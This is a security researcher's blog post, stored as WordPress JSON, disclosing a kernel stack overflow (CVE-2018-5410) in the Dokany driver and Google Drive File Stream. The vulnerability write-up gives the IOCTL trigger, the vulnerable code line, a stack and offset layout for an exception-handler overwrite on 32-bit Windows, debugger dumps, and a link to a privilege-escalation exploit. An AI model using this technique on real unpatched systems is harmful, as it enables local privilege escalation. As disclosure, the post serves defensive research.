{"id":1041,"date":"2019-01-14T18:07:01","date_gmt":"2019-01-14T17:07:01","guid":{"rendered":"http:\/\/www.greyhathacker.net\/?p=1041"},"modified":"2019-01-14T18:07:01","modified_gmt":"2019-01-14T17:07:01","slug":"dokany-google-drive-file-stream-kernel-stack-based-buffer-overflow-vulnerability","status":"publish","type":"post","link":"https:\/\/www.greyhathacker.net\/?p=1041","title":{"rendered":"Dokany\/Google Drive File Stream Kernel Stack-based Buffer Overflow Vulnerability"},"content":{"rendered":"<p>Last November I reported a kernel vulnerability to CERT\/CC for their help in coordinating the disclosure as it impacted dozens of vendors including Google Drive File Stream (GDFS).<\/p>\n<p>The vulnerability was a stack-based buffer overflow in Dokany&#8217;s kernel mode file system driver and has been assigned cve id of CVE-2018-5410. With Dokany you can create your own virtual file system without writing device drivers. The code is open source and is being used in dozens of projects listed <a href=\"http:\/\/dokan-dev.github.io\/\" target=\"_blank\" rel=\"noopener\">here<\/a>. A handful of products were tested and are all shipped with Dokany&#8217;s compiled package with the exception of GDFS where parts of the code have been changed and signed by Google.<\/p>\n<p><strong>Triggering the bug<\/strong><br \/>\nConnecting to the device handle &#8220;dokan_1&#8221; and sending inputted buffer of more than 776 bytes to IOCTL 0x00222010 is enough to corrupt the stack cookie and BSOD the box.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium\" src=\"\/images\/dokanvul.png\" width=\"668\" height=\"621\" \/><\/p>\n<pre>kd&gt; !analyze -v\r\n***************************************************************************\r\n*\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 *\r\n*\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Bugcheck Analysis\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 *\r\n*\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 *\r\n***************************************************************************\r\nDRIVER_OVERRAN_STACK_BUFFER (f7)\r\nA driver has overrun a stack-based buffer.\u00a0 This overrun could potentially\r\nallow a malicious user to gain control of this machine.\r\nDESCRIPTION\r\nA driver overran a stack-based buffer (or local variable) in a way that would\r\nhave overwritten the function's return address and jumped back to an arbitrary\r\naddress when the function returned.\u00a0 This is the classic \"buffer overrun\"\r\nhacking attack and the system has been brought down to prevent a malicious user\r\nfrom gaining complete control of it.\r\nDo a kb to get a stack backtrace -- the last routine on the stack before the\r\nbuffer overrun handlers and bugcheck call is the one that overran its local\r\nvariable(s).\r\nArguments:\r\nArg1: c0693bbe, Actual security check cookie from the stack\r\nArg2: 1c10640d, Expected security check cookie\r\nArg3: e3ef9bf2, Complement of the expected security check cookie\r\nArg4: 00000000, zero\r\n\r\nDebugging Details:\r\n------------------\r\nDEFAULT_BUCKET_ID:\u00a0 GS_FALSE_POSITIVE_MISSING_GSFRAME\r\nSECURITY_COOKIE:\u00a0 Expected 1c10640d found c0693bbe\r\n.\r\n.\r\n.<\/pre>\n<p>Checking the source code to pinpoint vulnerable code was found to be in notification.c where RtlCopyMemory function&#8217;s szMountPoint-&gt;Length parameter is not validated<\/p>\n<pre>RtlCopyMemory(&amp;dokanControl.MountPoint[12], szMountPoint-&gt;Buffer, szMountPoint-&gt;Length);<\/pre>\n<p>The vulnerable code was introduced from the major version update 1.0.0.5000 which was released on the 20th September 2016.<\/p>\n<p><strong>TimeLine<\/strong><br \/>\nBelow is the timeline where we can see the maintainers of Dokany were very efficient in fixing this bug.<\/p>\n<p>30th November 2018 &#8211; Submitted on CERT\/CC online form<br \/>\n03rd December 2018 &#8211; Received acknowledgement of submission<br \/>\n08th December 2018 &#8211; Updated Dokan code committed [<a href=\"https:\/\/github.com\/dokan-dev\/dokany\/commit\/4954cc0a3299b20274ac64bf52d6c285a1f40b0f\" target=\"_blank\" rel=\"noopener\">link<\/a>]<br \/>\n18th December 2018 &#8211; Dokan change log [1.2.1.1000] [<a href=\"https:\/\/github.com\/dokan-dev\/dokany\/blob\/master\/CHANGELOG.md#1211000---2018-12-18\" target=\"_blank\" rel=\"noopener\">link<\/a>]<br \/>\n20th December 2018 &#8211; Compiled version released [<a href=\"https:\/\/github.com\/dokan-dev\/dokany\/releases\/tag\/v1.2.1.1000\" target=\"_blank\" rel=\"noopener\">link<\/a>]<br \/>\n20th December 2018 &#8211; CERT\/CC publish Vulnerability Note VU#741315 [<a href=\"https:\/\/www.kb.cert.org\/vuls\/id\/741315\/\" target=\"_blank\" rel=\"noopener\">link<\/a>]<\/p>\n<p><strong>So what happened to Google?<\/strong><br \/>\nWell it would seem Google have kept quiet about this bug and silently fixed it without any publication. The only url I found on GDFS release notes is <a href=\"https:\/\/support.google.com\/a\/answer\/7577057?hl=en&amp;ref_topic=7455083\" target=\"_blank\" rel=\"noopener\">here<\/a> where the last update was on the 17th October 2018 on version 28.1. It was just out of curiosity I had downloaded GDFS on the 28th of December only to discover the vulnerability had already been patched. The patched versions are:<\/p>\n<p><em>Software : GoogleDriveFSSetup.exe<\/em><br \/>\n<em>Version\u00a0 : 29.1.34.1821<\/em><br \/>\n<em>Signed\u00a0\u00a0 : 17th December 2018<\/em><\/p>\n<p><em>Driver\u00a0\u00a0 : googledrivefs2622.sys<\/em><br \/>\n<em>Version\u00a0 : 2.622.2225.0<\/em><br \/>\n<em>Signed\u00a0\u00a0 : 14th December 2018<\/em><\/p>\n<p>The last vulnerable version I tested was:<\/p>\n<p><em>Software : GoogleDriveFSSetup.exe<\/em><br \/>\n<em>Version\u00a0 : 28.1.48.2039<\/em><br \/>\n<em>Signed\u00a0\u00a0 : 13th November 2018<\/em><\/p>\n<p><em>Driver\u00a0\u00a0 : googledrivefs2544.sys<\/em><br \/>\n<em>Version\u00a0 : 2.544.1532.0 <\/em><br \/>\n<em>Signed\u00a0\u00a0 : 27th September 2018<\/em><\/p>\n<p>CERT\/CC vulnerability notes is still flagged as being affected<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone \" src=\"\/images\/gsfscertcc.png\" width=\"592\" height=\"376\" \/><\/p>\n<p>GDFS driver filename, version and handle change in each update. Here is a list of some previous vulnerable versions.<\/p>\n<table style=\"height: 211px;\" width=\"579\">\n<tbody>\n<tr>\n<td style=\"text-align: left;\" width=\"205\"><strong>Driver filename<\/strong><\/td>\n<td style=\"text-align: left;\" width=\"205\"><strong>Driver version<\/strong><\/td>\n<td style=\"text-align: left;\" width=\"205\"><strong>Device handle<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"205\">googledrivefs2285.sys<\/td>\n<td width=\"205\">2.285.2219.0<\/td>\n<td width=\"205\">googledrivefs_2285<\/td>\n<\/tr>\n<tr>\n<td width=\"205\">googledrivefs2454.sys<\/td>\n<td width=\"205\">2.454.2037.0<\/td>\n<td width=\"205\">googledrivefs_2454<\/td>\n<\/tr>\n<tr>\n<td width=\"205\">googledrivefs2534.sys<\/td>\n<td width=\"205\">2.534.1534.0<\/td>\n<td width=\"205\">googledrivefs_2534<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: left;\" width=\"205\">googledrivefs2544.sys<\/td>\n<td style=\"text-align: left;\" width=\"205\">2.544.1532.0<\/td>\n<td style=\"text-align: left;\" width=\"205\">googledrivefs_2544<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Exploiting the bug<\/strong><br \/>\nSince the vulnerability is a stack-based buffer overflow compiled with Stack Cookie protection (\/GS) which is validated before our function is returned controlling the flow of execution using the return address is not possible. To bypass cookie validation we need to overwrite an exception handler in the stack and then trigger an exception in the kernel there by calling our overwritten exception handler. This technique however only applies to 32-bit systems as when code is compiled for 64-bit the exception handlers are no longer stored on the stack so from &#8220;frame based&#8221; has become &#8220;table-based&#8221;. For 64-bit the exception handlers are stored in the PE image where there is an exception directory contains a variable number of RUNTIME_FUNCTION structures. An article posted on <a href=\"http:\/\/www.osronline.com\/article.cfm?article=469\" target=\"_blank\" rel=\"noopener\">OSRline<\/a> explains it well.\u00a0Below shows the exception directory in 64-bit compiled driver<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium\" src=\"\/images\/dokanpe.png\" width=\"662\" height=\"713\" \/><\/p>\n<p>In order to exploit on 32-bit OS after the exception handler has been overwritten with our address pointing to our shellcode we need to trigger an exception. Usually reading beyond our inputted buffer would do it as it be unallocated memory after setting up our buffer using apis such as CreateFileMapping() and MapViewOfFile(). Unfortunately this is not possible as the IOCTL used 0x00222010 is using &#8220;Buffered I\/O&#8221; transfer method where the data is allocated into the system buffer so when our inputted data is read its read from the system buffer thus there so no unallocated memory after our buffer.<\/p>\n<p>For Dokany driver there is still a way to exploit as after the overflow and before cookie validation it calls another subroutine which ends up calling api IoGetRequestorSessionId(). One of the parameters it reads from the stack is the IRP address which we happen to control. All we need to do is make sure our IRP address points to an area of unallocated memory.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium\" src=\"\/images\/triggerexception.png\" width=\"664\" height=\"249\" \/><\/p>\n<p>As for GDFS Google have made some changes to its code so the api IoGetRequestorSessionId() is not called and I couldn&#8217;t find any other way to produce an exception so just ends up producing BSOD. The last thing to mention is that the vulnerable subroutine is not wrapped in a __try\/__except block but a parent subroutine is and thats the exception handler being overwritten further down the stack. A minimum inputted buffer size of 896 bytes is need in order to overwrite the exception handler.<\/p>\n<p>2\u00a0\u00a0 bytes\u00a0\u00a0 &#8211; Size used by memcpy<br \/>\n2\u00a0\u00a0 bytes\u00a0\u00a0 &#8211; Size used to check input buffer<br \/>\n772 bytes\u00a0\u00a0 &#8211; Actual data buffer<br \/>\n4\u00a0\u00a0 bytes\u00a0\u00a0 &#8211; Cookie<br \/>\n4\u00a0\u00a0 bytes\u00a0\u00a0 &#8211; EBP<br \/>\n4\u00a0\u00a0 bytes\u00a0\u00a0 &#8211; RET<br \/>\n4\u00a0\u00a0 bytes\u00a0\u00a0 &#8211; Other data<br \/>\n4\u00a0\u00a0 bytes\u00a0\u00a0 &#8211; IRP<br \/>\n96\u00a0 bytes\u00a0\u00a0 &#8211; Other data<br \/>\n4\u00a0\u00a0 bytes\u00a0\u00a0 &#8211; Exception handler<\/p>\n<p>Stack layout before and after our overflow<\/p>\n<pre>a1caf9f4\u00a0 00000000\r\n<span style=\"color: #ff0000;\">a1caf9f8\u00a0 fcef3710 &lt;-- cookie<\/span>\r\na1caf9fc\u00a0 a1cafa1c\r\n<span style=\"color: #ff0000;\">a1cafa00\u00a0 902a2b80 dokan1+0x5b80\u00a0 &lt;-- return<\/span>\r\na1cafa04\u00a0 861f98b0\r\n<span style=\"color: #ff0000;\">a1cafa08\u00a0 871ef510 &lt;-- IRP<\/span>\r\na1cafa0c\u00a0 861f9968\r\na1cafa10\u00a0 871ef580\r\na1cafa14\u00a0 00000010\r\na1cafa18\u00a0 c0000002\r\na1cafa1c\u00a0 a1cafa78\r\na1cafa20\u00a0 902a2668 dokan1+0x5668\r\na1cafa24\u00a0 861f98b0\r\na1cafa28\u00a0 871ef510\r\na1cafa2c\u00a0 fcef3494\r\na1cafa30\u00a0 86cd4738\r\na1cafa34\u00a0 861f98b0\r\na1cafa38\u00a0 00000000\r\na1cafa3c\u00a0 00000000\r\na1cafa40\u00a0 00000000\r\na1cafa44\u00a0 00000000\r\na1cafa48\u00a0 00000000\r\na1cafa4c\u00a0 871ef580\r\na1cafa50\u00a0 861f9968\r\na1cafa54\u00a0 00222010\r\na1cafa58\u00a0 c0000002\r\na1cafa5c\u00a0 861f9968\r\na1cafa60\u00a0 861f98b0\r\na1cafa64\u00a0 a1cafa7c\r\na1cafa68\u00a0 a1cafacc\r\n<span style=\"color: #ff0000;\">a1cafa6c\u00a0 902b2610 dokan1+0x15610\u00a0 &lt;-- Exception handler<\/span>\r\n\r\n\r\nkd&gt; dps a1caf9f4\r\na1caf9f4\u00a0 41414141\r\n<span style=\"color: #ff0000;\">a1caf9f8\u00a0 42424242 &lt;-- cookie<\/span>\r\na1caf9fc\u00a0 41414141\r\n<span style=\"color: #ff0000;\">a1cafa00\u00a0 43434343 &lt;-- return<\/span>\r\na1cafa04\u00a0 41414141\r\n<span style=\"color: #ff0000;\">a1cafa08\u00a0 44444444 &lt;-- IRP<\/span>\r\na1cafa0c\u00a0 41414141\r\na1cafa10\u00a0 41414141\r\na1cafa14\u00a0 41414141\r\na1cafa18\u00a0 41414141\r\na1cafa1c\u00a0 41414141\r\na1cafa20\u00a0 41414141\r\na1cafa24\u00a0 41414141\r\na1cafa28\u00a0 41414141\r\na1cafa2c\u00a0 41414141\r\na1cafa30\u00a0 41414141\r\na1cafa34\u00a0 41414141\r\na1cafa38\u00a0 41414141\r\na1cafa3c\u00a0 41414141\r\na1cafa40\u00a0 41414141\r\na1cafa44\u00a0 41414141\r\na1cafa48\u00a0 41414141\r\na1cafa4c\u00a0 41414141\r\na1cafa50\u00a0 41414141\r\na1cafa54\u00a0 41414141\r\na1cafa58\u00a0 41414141\r\na1cafa5c\u00a0 41414141\r\na1cafa60\u00a0 41414141\r\na1cafa64\u00a0 41414141\r\na1cafa68\u00a0 41414141\r\n<span style=\"color: #ff0000;\">a1cafa6c\u00a0 000c0000 &lt;-- Exception handler which now points to shellcode<\/span><\/pre>\n<p>To recover we return to the parent subroutine.<\/p>\n<pre>a1cafa70\u00a0 00000000\r\na1cafa74\u00a0 00000000\r\na1cafa78\u00a0 a1cafa94\r\na1cafa7c\u00a0 902a3d4a dokan1+0x6d4a\r\na1cafa80\u00a0 861f98b0\r\na1cafa84\u00a0 871ef510 \r\na1cafa88\u00a0 0000000e\r\na1cafa8c\u00a0 d346f492\r\n<span style=\"color: #ff0000;\">a1cafa90\u00a0 871ef580 &lt;-- before ebp, recover here after shellcode execution<\/span>\r\na1cafa94\u00a0 a1cafadc\r\na1cafa98\u00a0 902a3a8f dokan1+0x6a8f\r\na1cafa9c\u00a0 861f98b0\r\na1cafaa0\u00a0 871ef510\r\na1cafaa4\u00a0 fcef3430\r\na1cafaa8\u00a0 86cd4738\r\na1cafaac\u00a0 861f98b0\r\na1cafab0\u00a0 00000000\r\na1cafab4\u00a0 871ef510\r\na1cafab8\u00a0 00000001\r\na1cafabc\u00a0 c0000001\r\na1cafac0\u00a0 0101af00\r\na1cafac4\u00a0 a1cafaa4\r\na1cafac8\u00a0 871ef520\r\na1cafacc\u00a0 a1cafbc0\r\na1cafad0\u00a0 902b2610 dokan1+0x15610\r\na1cafad4\u00a0 cd0e6854\r\na1cafad8\u00a0 00000001\r\na1cafadc\u00a0 a1cafaf4\r\na1cafae0\u00a0 82a8c129 nt!IofCallDriver+0x63\r\na1cafae4\u00a0 861f98b0\r\na1cafae8\u00a0 871ef510\r\na1cafaec\u00a0 871ef510\r\na1cafaf0\u00a0 861f98b0<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium\" src=\"\/images\/cve-2018-5410-w7.png\" width=\"658\" height=\"467\" \/><\/p>\n<p>The exploit can be downloaded from here [<a href=\"https:\/\/www.greyhathacker.net\/docs\/cve-2018-5410.zip\" target=\"_blank\" rel=\"noopener\">zip<\/a>] and the direct link to the vulnerable package used from Github [<a href=\"https:\/\/github.com\/dokan-dev\/dokany\/releases\/download\/v1.2.0.1000\/DokanSetupDbg_redist.exe\" target=\"_blank\" rel=\"noopener\">exe<\/a>]. The zip file only contains exploit for Windows 7 32 bit OS along with code to trigger BSOD on earlier GDFS 32\/64 bit versions.<\/p>\n<p>Note the exploit is not perfect as in once an elevated shell is spawned the parent process takes around 7 minutes before returning to the prompt. Most likely the recovery part of the shellcode needs a bit of work. Also for some strange reason the exploit only works when the debugger is attached and I just couldn&#8217;t figure out why. One observation I noticed was that the shellcode buffer becomes unallocated so might be some timing issue. If you have any ideas do please leave a comment.<\/p>\n<p><a href=\"https:\/\/twitter.com\/parvezghh\" target=\"_blank\" rel=\"noopener\">@ParvezGHH<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Last November I reported a kernel vulnerability to CERT\/CC for their help in coordinating the disclosure as it impacted dozens of vendors including Google Drive File Stream (GDFS). The vulnerability was a stack-based buffer overflow in Dokany&#8217;s kernel mode file system driver and has been assigned cve id of CVE-2018-5410. With Dokany you can create [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[18,8,7,6],"tags":[21,46],"class_list":["post-1041","post","type-post","status-publish","format-standard","hentry","category-all","category-bugs","category-exploits","category-vulnerabilities","tag-elevate","tag-kernel"],"_links":{"self":[{"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/posts\/1041","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1041"}],"version-history":[{"count":4,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/posts\/1041\/revisions"}],"predecessor-version":[{"id":1045,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/posts\/1041\/revisions\/1045"}],"wp:attachment":[{"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1041"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1041"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1041"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}